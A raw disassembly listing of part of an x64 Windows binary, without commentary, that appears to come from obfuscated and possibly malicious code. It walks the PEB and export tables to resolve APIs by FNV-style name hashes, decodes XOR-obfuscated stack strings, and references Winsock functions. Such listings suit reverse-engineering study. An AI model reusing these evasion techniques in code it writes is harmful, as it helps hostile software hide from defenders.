jne 0x1400e4270
mov rax, qword [rax]
jmp 0x1400e4240
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov dword [rsp + 0x70], 0x677f6862
mov dword [rsp + 0x74], 0x696d6466
mov word [rsp + 0x78], 0x100
lea rdx, [rbp]
lea rcx, [rsp + 0x70]
call fcn.140107d60
nop
mov rbx, qword [rbp - 0x68]
movzx eax, byte [rbp + 0x1a0]
test al, al
jne 0x1400e432a
mov byte [rbp + 0x1a0], 1
call fcn.14010bd10
mov rcx, rax
mov qword [rbp + 0x1a8], rax
movzx eax, byte [rbp + 0x1a0]
jmp 0x1400e4331
mov rcx, qword [rbp + 0x1a8]
cmp al, 1
jne 0x1400e4341
lea rdx, [rbp]
call fcn.1400e1530
mov rbx, rax
lea rdx, [rbp + 0x240]
mov rcx, rbx
call fcn.1400ecad0
nop
lea rcx, [rbp]
call fcn.140001170
cmp qword [rbp + 0x250], 0
jne 0x1400e451f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e43f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e43f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x41ba40c6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e43f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e43d0
cmp r8d, 0x5011f969
je 0x1400e43fb
test r9d, r9d
jne 0x1400e43b0
mov rax, qword [rax]
jmp 0x1400e4380
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov esi, dword [rcx + rax*4]
add rsi, r10
call fcn.1400e19c0
test al, al
je 0x1400e44c6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e44a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e44a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e44a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e4480
cmp r8d, 0x1d8aa24e
je 0x1400e44ab
test r9d, r9d
jne 0x1400e4460
mov rax, qword [rax]
jmp 0x1400e4430
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
movdqa xmm0, xmmword [0x140173710]
movdqu xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x140173650]
movdqu xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x1401736e0]
movdqu xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x70], 0x555d4153
mov dword [rbp + 0x74], 0x4f594b55
mov word [rbp + 0x78], 0x100
lea rcx, [rbp + 0x40]
call fcn.1401093f0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call rsi
jmp 0x1400e4f1b
movups xmm0, xmmword [0x1401734e8]
movups xmmword [rbp + 0x180], xmm0
mov eax, dword [0x1401734f8]
mov dword [rbp + 0x190], eax
movzx eax, word [0x1401734fc]
mov word [rbp + 0x194], ax
mov eax, dword [str.W_D_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140173504]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x63
xor byte [rsp + 0x41], 0x35
xor byte [rsp + 0x42], 0x36
xor byte [rsp + 0x43], 0x37
xor al, 0x38
mov byte [rsp + 0x44], al
xor byte [rsp + 0x45], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xor r15d, r15d
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], r15
lea rax, [rsp + 0x40]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x1400e45a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1e0]
call fcn.1400f2730
nop
lea rdx, [rbp + 0x240]
mov r8, r13
cmp qword [rbp + 0x258], 0xf
jbe 0x1400e45e2
mov rdx, qword [rbp + 0x240]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400e45d6
jmp 0x1400e45ec
inc r8
cmp byte [rdx + r8], 0
jne 0x1400e45e2
lea rcx, [rbp + 0x1e0]
call fcn.1400e0940
mov eax, dword [0x140173508]
mov dword [rsp + 0x54], eax
movzx eax, byte [0x14017350c]
mov byte [rsp + 0x54], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x55], 0x35
xor byte [rsp + 0x56], 0x36
xor byte [rsp + 0x57], 0x37
xor al, 0x38
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x54]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400e4630
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x1e0]
call fcn.1400e0940
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [rbp + 0x195], 0
je 0x1400e47ef
mov r8d, r15d
cmp r14d, 2
jl 0x1400e47a5
movdqa xmm5, xmmword [0x14016ef50]
movdqa xmm4, xmmword [0x1401735c0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x140173610]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp + 0x184]
mov edx, dword [rbp - 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400e46a0
cmp r8d, 0x16
jge 0x1400e47ef
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400e47c0
lea rax, [rbp + 0x180]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400e4800
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1e0]
call fcn.1400e0940
cmp byte [rbp + 0x195], 0
jne 0x1400e49bf
mov r8d, r15d
cmp r14d, 2
jl 0x1400e4975
movdqa xmm5, xmmword [0x14016ef50]
movdqa xmm4, xmmword [0x1401735c0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x140173610]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp + 0x184]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400e4870
cmp r8d, 0x16
jge 0x1400e49bf
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400e4990
movsd xmm0, qword [0x140173510]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x140173518]
mov word [rsp + 0x68], ax
cmp byte [0x140173519], 0
je 0x1400e4a14
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x61], 0x35
xor byte [rsp + 0x62], 0x36
xor byte [rsp + 0x63], 0x37
xor byte [rsp + 0x64], 0x38
xor byte [rsp + 0x65], 0x39
xor byte [rsp + 0x66], 0x3a
xor byte [rsp + 0x67], 0x3b
xor byte [rsp + 0x68], 0x3c
xor byte [rsp + 0x69], 0x3d
lea rax, [rsp + 0x60]
nop dword [rax]
inc r13
cmp byte [rax + r13], 0
jne 0x1400e4a20
mov r8, r13
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1e0]
call fcn.1400e0940
lea rsi, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rsi, qword [rbp + 0x1e0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e4ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e4ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa0266ac
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e4ae1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e4ac0
cmp r8d, 0xa6330ba5
je 0x1400e4aeb
test r9d, r9d
jne 0x1400e4aa0
mov rax, qword [rax]
jmp 0x1400e4a70
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
lea rax, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x1f0], r15
mov byte [rax], 0
cmp byte [rbp + 0x195], 0
je 0x1400e4cbf
mov r8d, r15d
cmp r14d, 2
jl 0x1400e4c76
movdqa xmm5, xmmword [0x14016ef50]
movdqa xmm4, xmmword [0x1401735c0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x140173610]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp + 0x184]
mov edx, dword [rbp - 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400e4b71
cmp r8d, 0x16
jge 0x1400e4cbf
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400e4c90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e4d46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e4d46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe154a48f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e4d41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e4d20
cmp r8d, 0x503660ee
je 0x1400e4d4b
test r9d, r9d
jne 0x1400e4d00
mov rax, qword [rax]
jmp 0x1400e4cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x180]
call rdx
cmp byte [rbp + 0x195], 0
jne 0x1400e4f0f
mov r8d, r15d
cmp r14d, 2
jl 0x1400e4ec5
movdqa xmm5, xmmword [0x14016ef50]
movdqa xmm4, xmmword [0x1401735c0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x140173610]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp + 0x184]
mov edx, dword [rbp - 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401735a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400e4dc0
cmp r8d, 0x16
jge 0x1400e4f0f
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400e4ee0
lea rcx, [rbp + 0x1e0]
call fcn.140001170
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e4fa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e4fa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xda42029b
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400e4fa1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400e4f80
cmp r8d, 0x8153c46b
je 0x1400e4fab
test r9d, r9d
jne 0x1400e4f60
mov rax, qword [rax]
jmp 0x1400e4f30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
lea rcx, [rbp + 0x240]
call fcn.140001170
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x1400e5018
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e5013
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e5013
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
xor ebx, ebx
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x200], bl
mov rcx, qword [rbp + 0x228]
test rcx, rcx
je 0x1400e5087
mov rdx, qword [rbp + 0x238]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e5070
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e5070
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rbx
mov rax, qword [rbp + 0x350]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x350], rax
mov rax, qword [rbp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x34c], edx
lea rcx, [rbp + 0x368]
call fcn.1400f2660
lea rcx, [rbp + 0x370]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x1400e5124
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e511f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e511f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
movdqa xmm0, xmmword [0x140173540]
movdqu xmmword [rbp + 0x320], xmm0
mov byte [rbp + 0x310], 0
movzx edx, byte [rbp + 0x1a0]
lea rcx, [rbp + 0x1a8]
call fcn.14000af50
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x1400e5193
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e518e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e518e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
mov qword [rbp + 0x290], rbx
mov qword [rbp + 0x298], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x1400e51f1
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e51eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e51eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
nop
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x1400e5235
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e5230
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e5230
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
mov qword [rbp + 0x2f0], rbx
mov qword [rbp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e0], 0
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x1400e5293
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e528d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e528d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
nop
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x1400e52d7
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e52d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e52d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.140128080
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000aaf0
nop
lea rcx, str.stoul_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_
int3
lea rcx, str.invalid_stoul_argument
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_
int3